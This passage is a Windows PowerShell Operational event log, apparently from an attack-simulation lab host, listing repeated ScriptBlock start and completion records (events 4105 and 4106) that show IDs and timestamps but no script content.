09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049180
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049179
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049178
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049177
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049176
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049175
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049174
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049173
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049172
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049171
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049170
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049169
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049168
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049167
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049166
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049165
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049164
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049163
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049162
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049161
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049160
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049159
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049158
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049157
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049156
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049155
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049154
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049153
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049152
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049151
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049150
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049149
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049148
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049147
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049146
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049145
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049144
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049143
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049142
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049141
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049140
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049139
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049138
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049137
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049136
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049135
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049134
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049133
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049132
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049131
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049130
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049129
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049128
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
